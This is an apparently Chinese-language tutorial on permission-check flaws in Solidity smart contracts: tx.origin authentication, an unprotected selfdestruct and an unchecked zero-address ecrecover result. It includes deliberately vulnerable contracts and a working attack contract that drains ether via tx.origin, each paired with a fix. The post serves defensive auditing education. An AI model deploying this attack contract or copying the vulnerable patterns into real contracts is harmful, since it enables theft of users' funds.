Tx.origin鉴权

简单介绍

tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址,在智能合约中使用此变量进行身份验证可能会使合约受到类似网络钓鱼的攻击。

案例分析

contract Phishable {address public owner;constructor () public {owner = msg.sender ; }function () public payable {} // collect etherfunction withdrawAll(address _recipient) public {require(tx.origin == owner);_recipient.transfer(this.balance); }
}

该合约有三个函数:

  • constructor构造函数,指定合约owner;
  • fallback函数,通过添加payable关键字以便接收用户转账;
  • withdrawAll函数,对tx.origin进行判断,如果tx.origin是owner,则将合约地址所拥有的ether发送到_recipient中

现在攻击者创建了以下合约:

pragma solidity ^0.4.22;
//设置原合约接口,方便调用函数
interface Phishable {function owner() external returns (address);function withdrawAll(address _recipient) external;
}
//漏洞证明合约
contract POC {address owner;Phishable phInstance;constructor() public {owner = msg.sender;}modifier onlyOwner() {require(owner==msg.sender);_;}//指向原合约地址function setInstance(address addr) public onlyOwner {phInstance = Phishable(addr);}function getBalance() public onlyOwner {owner.transfer(address(this).balance);}function attack() internal {address phOwner = phInstance.owner();if(phOwner == msg.sender){ phInstance.withdrawAll(owner);            } else {owner.transfer(address(this).balance);}}function() external payable {attack();}
}

攻击者诱使原合约(Phishable.sol)的owner发送ether到攻击合约(POC.sol)地址,然后调用攻击合约的fallback函数,执行attack()函数,此时phOwner == msg.sender,将会调用原合约的withdrawAll()函数,程序执行进入原合约,此时msg.sender是攻击合约的地址,tx.origin是最初发起交易的地址,即原合约的owner,require(tx.origin == owner);条件满足,_recipient.transfer(this.balance);可以执行,即将原合约地址里的ether转给攻击者。

防御措施

tx.origin不应该用于智能合约的授权,这并不是说永远不应该使用tx.origin变量,它在智能合约中确实有一些合法的用例,例如,如果想要拒绝外部合约调用当前合约,他们可以通过require(tx.origin == msg.sender)实现,这可以防止使用中间合约来调用当前合约

Selfdestruct未做权限校验

简单介绍

合约中的selfdestruct函数用于自毁操作,如果没有绝对必要可以考虑删除此功能,如果存在该功能,则建议试试多重签名方案,以便多方批准后才可以执行自毁操作。

案例分析

WalletLibrary.sol

//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a
// single, or, crucially, each of a number of, designated owners.
// usage:
// use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by
// some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the
// interior is executed.pragma solidity ^0.4.9;contract WalletEvents {// EVENTS// this contract only has six types of events: it can accept a confirmation, in which case// we record owner and operation (hash) alongside it.event Confirmation(address owner, bytes32 operation);event Revoke(address owner, bytes32 operation);// some others are in the case of an owner changing.event OwnerChanged(address oldOwner, address newOwner);event OwnerAdded(address newOwner);event OwnerRemoved(address oldOwner);// the last one is emitted if the required signatures changeevent RequirementChanged(uint newRequirement);// Funds has arrived into the wallet (record how much).event Deposit(address _from, uint value);// Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).event SingleTransact(address owner, uint value, address to, bytes data, address created);// Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);// Confirmation still needed for a transaction.event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}contract WalletAbi {// Revokes a prior confirmation of the given operationfunction revoke(bytes32 _operation) external;// Replaces an owner `_from` with another `_to`.function changeOwner(address _from, address _to) external;function addOwner(address _owner) external;function removeOwner(address _owner) external;function changeRequirement(uint _newRequired) external;function isOwner(address _addr) constant returns (bool);function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.function setDailyLimit(uint _newLimit) external;function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);function confirm(bytes32 _h) returns (bool o_success);
}contract WalletLibrary is WalletEvents {// TYPES// struct for the status of a pending operation.struct PendingState {uint yetNeeded;uint ownersDone;uint index;}// Transaction structure to remember details of transaction lest it need be saved for a later call.struct Transaction {address to;uint value;bytes data;}// MODIFIERS// simple single-sig function modifier.modifier onlyowner {if (isOwner(msg.sender))_;}// multi-sig function modifier: the operation must have an intrinsic hash in order// that later attempts can be realised as the same underlying operation and// thus count as confirmations.modifier onlymanyowners(bytes32 _operation) {if (confirmAndCheck(_operation))_;}// METHODS// gets called when no other function matchesfunction() payable {// just being sent some cash?if (msg.value > 0)Deposit(msg.sender, msg.value);}// constructor is given number of sigs required to do protected "onlymanyowners" transactions// as well as the selection of addresses capable of confirming them.function initMultiowned(address[] _owners, uint _required) only_uninitialized {m_numOwners = _owners.length + 1;m_owners[1] = uint(msg.sender);m_ownerIndex[uint(msg.sender)] = 1;for (uint i = 0; i < _owners.length; ++i){m_owners[2 + i] = uint(_owners[i]);m_ownerIndex[uint(_owners[i])] = 2 + i;}m_required = _required;}// Revokes a prior confirmation of the given operationfunction revoke(bytes32 _operation) external {uint ownerIndex = m_ownerIndex[uint(msg.sender)];// make sure they're an ownerif (ownerIndex == 0) return;uint ownerIndexBit = 2**ownerIndex;var pending = m_pending[_operation];if (pending.ownersDone & ownerIndexBit > 0) {pending.yetNeeded++;pending.ownersDone -= ownerIndexBit;Revoke(msg.sender, _operation);}}// Replaces an owner `_from` with another `_to`.function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {if (isOwner(_to)) return;uint ownerIndex = m_ownerIndex[uint(_from)];if (ownerIndex == 0) return;clearPending();m_owners[ownerIndex] = uint(_to);m_ownerIndex[uint(_from)] = 0;m_ownerIndex[uint(_to)] = ownerIndex;OwnerChanged(_from, _to);}function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {if (isOwner(_owner)) return;clearPending();if (m_numOwners >= c_maxOwners)reorganizeOwners();if (m_numOwners >= c_maxOwners)return;m_numOwners++;m_owners[m_numOwners] = uint(_owner);m_ownerIndex[uint(_owner)] = m_numOwners;OwnerAdded(_owner);}function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {uint ownerIndex = m_ownerIndex[uint(_owner)];if (ownerIndex == 0) return;if (m_required > m_numOwners - 1) return;m_owners[ownerIndex] = 0;m_ownerIndex[uint(_owner)] = 0;clearPending();reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slotOwnerRemoved(_owner);}function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {if (_newRequired > m_numOwners) return;m_required = _newRequired;clearPending();RequirementChanged(_newRequired);}// Gets an owner by 0-indexed position (using numOwners as the count)function getOwner(uint ownerIndex) external constant returns (address) {return address(m_owners[ownerIndex + 1]);}function isOwner(address _addr) constant returns (bool) {return m_ownerIndex[uint(_addr)] > 0;}function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {var pending = m_pending[_operation];uint ownerIndex = m_ownerIndex[uint(_owner)];// make sure they're an ownerif (ownerIndex == 0) return false;// determine the bit to set for this owner.uint ownerIndexBit = 2**ownerIndex;return !(pending.ownersDone & ownerIndexBit == 0);}// constructor - stores initial daily limit and records the present day's index.function initDaylimit(uint _limit) only_uninitialized {m_dailyLimit = _limit;m_lastDay = today();}// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {m_dailyLimit = _newLimit;}// resets the amount already spent today. needs many of the owners to confirm.function resetSpentToday() onlymanyowners(sha3(msg.data)) external {m_spentToday = 0;}// throw unless the contract is not yet initialized.modifier only_uninitialized { if (m_numOwners > 0) throw; _; }// constructor - just pass on the owner array to the multiowned and// the limit to daylimitfunction initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {initDaylimit(_daylimit);initMultiowned(_owners, _required);}// kills the contract sending everything to `_to`.function kill(address _to) onlymanyowners(sha3(msg.data)) external {suicide(_to);}// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.// If not, goes into multisig process. We provide a hash on return to allow the sender to provide// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value// and _data arguments). They still get the option of using them if they want, anyways.function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {// first, take the opportunity to check that we're under the daily limit.if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {// yes - just execute the call.address created;if (_to == 0) {created = create(_value, _data);} else {if (!_to.call.value(_value)(_data))throw;}SingleTransact(msg.sender, _value, _to, _data, created);} else {// determine our operation hash.o_hash = sha3(msg.data, block.number);// store if it's newif (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {m_txs[o_hash].to = _to;m_txs[o_hash].value = _value;m_txs[o_hash].data = _data;}if (!confirm(o_hash)) {ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);}}}function create(uint _value, bytes _code) internal returns (address o_addr) {/*assembly {o_addr := create(_value, add(_code, 0x20), mload(_code))jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))}*/}// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order// to determine the body of the transaction from the hash provided.function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {address created;if (m_txs[_h].to == 0) {created = create(m_txs[_h].value, m_txs[_h].data);} else {if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))throw;}MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);delete m_txs[_h];return true;}}// INTERNAL METHODSfunction confirmAndCheck(bytes32 _operation) internal returns (bool) {// determine what index the present sender is:uint ownerIndex = m_ownerIndex[uint(msg.sender)];// make sure they're an ownerif (ownerIndex == 0) return;var pending = m_pending[_operation];// if we're not yet working on this operation, switch over and reset the confirmation status.if (pending.yetNeeded == 0) {// reset count of confirmations needed.pending.yetNeeded = m_required;// reset which owners have confirmed (none) - set our bitmap to 0.pending.ownersDone = 0;pending.index = m_pendingIndex.length++;m_pendingIndex[pending.index] = _operation;}// determine the bit to set for this owner.uint ownerIndexBit = 2**ownerIndex;// make sure we (the message sender) haven't confirmed this operation previously.if (pending.ownersDone & ownerIndexBit == 0) {Confirmation(msg.sender, _operation);// ok - check if count is enough to go ahead.if (pending.yetNeeded <= 1) {// enough confirmations: reset and run interior.delete m_pendingIndex[m_pending[_operation].index];delete m_pending[_operation];return true;}else{// not enough: record that this owner in particular confirmed.pending.yetNeeded--;pending.ownersDone |= ownerIndexBit;}}}function reorganizeOwners() private {uint free = 1;while (free < m_numOwners){while (free < m_numOwners && m_owners[free] != 0) free++;while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0){m_owners[free] = m_owners[m_numOwners];m_ownerIndex[m_owners[free]] = free;m_owners[m_numOwners] = 0;}}}// checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and// returns true. otherwise just returns false.function underLimit(uint _value) internal onlyowner returns (bool) {// reset the spend limit if we're on a different day to last time.if (today() > m_lastDay) {m_spentToday = 0;m_lastDay = today();}// check to see if there's enough left - if so, subtract and return true.// overflow protection                    // dailyLimit checkif (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {m_spentToday += _value;return true;}return false;}// determines today's index.function today() private constant returns (uint) { return now / 1 days; }function clearPending() internal {uint length = m_pendingIndex.length;for (uint i = 0; i < length; ++i) {delete m_txs[m_pendingIndex[i]];if (m_pendingIndex[i] != 0)delete m_pending[m_pendingIndex[i]];}delete m_pendingIndex;}// FIELDSaddress constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;// the number of owners that must confirm the same operation before it is run.uint public m_required;// pointer used to find a free slot in m_ownersuint public m_numOwners;uint public m_dailyLimit;uint public m_spentToday;uint public m_lastDay;// list of ownersuint[256] m_owners;uint constant c_maxOwners = 250;// index on the list of owners to allow reverse lookupmapping(uint => uint) m_ownerIndex;// the ongoing operations.mapping(bytes32 => PendingState) m_pending;bytes32[] m_pendingIndex;// pending transactions we have at present.mapping (bytes32 => Transaction) m_txs;
}

simple_suicide.sol

pragma solidity ^0.4.22;contract SimpleSuicide {function sudicideAnyone() {selfdestruct(msg.sender);}
}

防御措施

对调用selfdestruction的用户进行权限校验或使用多签策略:

pragma solidity ^0.4.22;contract SimpleSuicide {function sudicideAnyone() onlyowner{selfdestruct(msg.sender);}
}

ecrecover未作0地址判断

简单介绍

keccak256()和 ecrecover()都是内嵌的函数,keccak256()可以用于计算公钥的签名,ecrecover()可以用来恢复签名公钥,传值正确的情况下,可以利用这两个函数来验证地址:

//ecrecover接口,利用椭圆曲线签名恢复与公钥相关的地址,错误返回零。
ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address) --------------------------------------------------------------
bytes32 hash = keccak256(_from,_spender,_value,nonce,name);
if(_from != ecrecover(hash,_v,_r,_s)) revert();

当ecrecover传入错误参数(例如_v = 29,),函数返回0地址,如果合约函数传入的校验地址也为零地址,那么将通过断言,导致合约逻辑错误:

function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh,uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){...bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,name);if(_from != ecrecover(h,_v,_r,_s)) revert();...return true;
}

在函数transferProxy中,如果传入的参数_from为0,那么ecrecover函数因为输入参数错误而返回0值之后,if判断将通过,从而导致合约漏洞:

pragma solidity ^0.4.4;contract Decode{//公匙:0x60320b8a71bc314404ef7d194ad8cac0bee1e331//sha3(msg): 0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45 (web3.sha3("abc");)//签名后的数据:0xf4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800//验签数据入口函数//bytes memory signedString =hex"f4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800";function decode(bytes signedString) public pure returns (address){bytes32  r = bytesToBytes32(slice(signedString, 0, 32));bytes32  s = bytesToBytes32(slice(signedString, 32, 32));byte  v = slice(signedString, 64, 1)[0];return ecrecoverDecode(r, s, v);}//将原始数据按段切割出来指定长度function slice(bytes memory data, uint start, uint len) internal pure returns (bytes){bytes memory b = new bytes(len);for(uint i = 0; i < len; i++){b[i] = data[i + start];}return b;}//使用ecrecover恢复公匙function ecrecoverDecode(bytes32 r, bytes32 s, byte v1) internal pure returns (address addr){uint8 v = uint8(v1) + 27;addr = ecrecover(0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45, v, r, s);}//bytes转换为bytes32function bytesToBytes32(bytes memory source) internal pure returns (bytes32 result) {assembly {result := mload(add(source, 32))}}
}

函数decode()传入经过签名后的数据,用于验证返回地址是否是之前用于签名的私钥对应的公钥地址,以太坊提供了web3.eth.sign方法来对数据生成数字签名,上面的签名数据可以通过下面的js代码获得:

//初始化基本对象
var Web3 = require('web3');
var web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545"));var account = web3.eth.accounts[0];
var sha3Msg = web3.sha3("abc");
var signedData = web3.eth.sign(account, sha3Msg);console.log("account: " + account);
console.log("sha3(message): " + sha3Msg);
console.log("Signed data: " + signedData);

js代码运行结果如下:

$ node test.js
account: 0x60320b8a71bc314404ef7d194ad8cac0bee1e331
sha3(message): 0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45
Signed data: 0xf4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800

防御措施

对0x0地址做过滤,例如:

function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh,uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){...require(_from != 0x0);  // 待校验的地址不为0bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,name);if(_from != ecrecover(h,_v,_r,_s)) revert();...return true;
}

智能合约审计之权限校验错误相关推荐

  1. 区块链100讲:智能合约审计指南

    智能合约代码的审计,目前还不是技术社区内经常会讨论的主题.今年3月6日,发表在博客网站[Schneier on Security]上的一篇博客(原文链接:[https://www.schneier.c ...

  2. 【智能合约系列009-如何做智能合约审计?】

    研究报告[Finding The Greedy, Prodigal, and Suicidal Contracts at Scale])指出,目前在以太坊中,有89%的智能合约代码都或多或少存在安全漏 ...

  3. 智能合约审计之条件竞争

    文章前言 与大多数区块链一样,以太坊节点汇集交易并将其形成块,一旦矿工解决了共识机制(目前Ethereum的ETHASH PoW),这些交易就被认为是有效的,解决该区块的矿工也会选择来自该矿池的哪些交 ...

  4. eos源码赏析(十二):EOS之从“狼人游戏”看智能合约调用及权限分配(下)

    接上篇,本篇从智能合约内部权限使用出发,结合"狼人游戏"源码,谈谈eosio中权限的分配及使用,本文主要分为以下三部分: 狼人团队的声明探析 多签名账户 权限eosio.code的 ...

  5. 区块链安全100问 | 第七篇:智能合约审计流程及审计内容

    零时科技--专注于区块链安全领域 深圳零时科技有限公司(简称:零时科技),公司成立于2018年11月,是一家专注于区块链生态安全的实战创新型网络安全企业,团队扎根区块链安全与应用技术研究,以丰富的安全 ...

  6. 智能合约审计之访问控制

    基础知识 权限的概念 权限是指为了保证职责的有效履行,任职者必须具备的对某事项进行决策的范围和程度.它常常用"具有xxxxxxx的权利"来进行表达,比如:公司的CEO具有否定某项提 ...

  7. eos源码赏析(十一):EOS之从“狼人游戏”看智能合约调用及权限分配(上)

    火了没几天的"狼人游戏"因某些原因遭到口诛笔伐而下线,后期参与的玩家可谓损失惨重,而这一切的操盘仿佛都指向一个并不算匿名的匿名团队,毕竟在区块链上任何动作的执行都是可追溯的.该游戏 ...

  8. 智能合约审计之DDOS概述

    拒绝服务(DOS) 对智能合约进行DOS攻击的方法有很多种,其根本的目的是使合约在一段时间内或者永久无法正常运行,通过拒绝服务攻击,也可以使合约中的ether永远无法提取出来,下面将会列出几种常见的攻 ...

  9. 【智能合约审计】————11、MultiGamesToken

    合约地址:https://etherscan.io/address/0x52a5e1a56a124dce84e548ff96122246e46d599f#code pragma solidity ^0 ...

最新文章

  1. 如何使用TSQL获取数据库中所有表的列表?
  2. 5G 标准 — R16
  3. 连接web端,mysql,返回乱码解决
  4. .net中如何生成不重复的随机数
  5. 在传统Spring应用中使用spring-boot-actuator模块提供监控端点
  6. Python脚本实现启停app获取资源占比信息
  7. 【大事化小,小事化无】的意思和解释
  8. 关于HTML+CSS3的一些笔记
  9. tensorflow之reshape
  10. 估计理论(2):Cramer-Rao下限
  11. asp.net门诊收费管理系统
  12. 《Android编程入门很简单》PDF版电子书下载
  13. init mysql db error_Python mysql curs错误
  14. 微信语音怎么保存 微信语音导出文件夹教程
  15. linux终端分屏显示tmux,screen和tmux分屏
  16. 给pdf、word、excel文件添加水印
  17. 10 模拟SPI驱动PS2无线手柄
  18. Linux解压tar.gz文件
  19. __cdecl相比__stdcall的优势
  20. 利用turtle绘制五角星

热门文章

  1. 网易大数据工程师学习之路分享
  2. Mysql经纬度查询
  3. 微信oa服务器配置,企业号来了—你必须了解OA与微信结合的几种方式
  4. rn ios Android适配,RN离线打包ios和android
  5. 【vue后台管理系统】基于Vue+Element-UI+ECharts开发通用管理后台(中)
  6. 基于科目分类的题库刷题小程序系统
  7. 多进程爬取豆瓣电影前100,将数据导出为Excel表
  8. vue 组件延时加载_为什么以及如何延迟加载角组件
  9. 华为nova8pro和nova9pro的区别
  10. 2008中国软件百强企业名录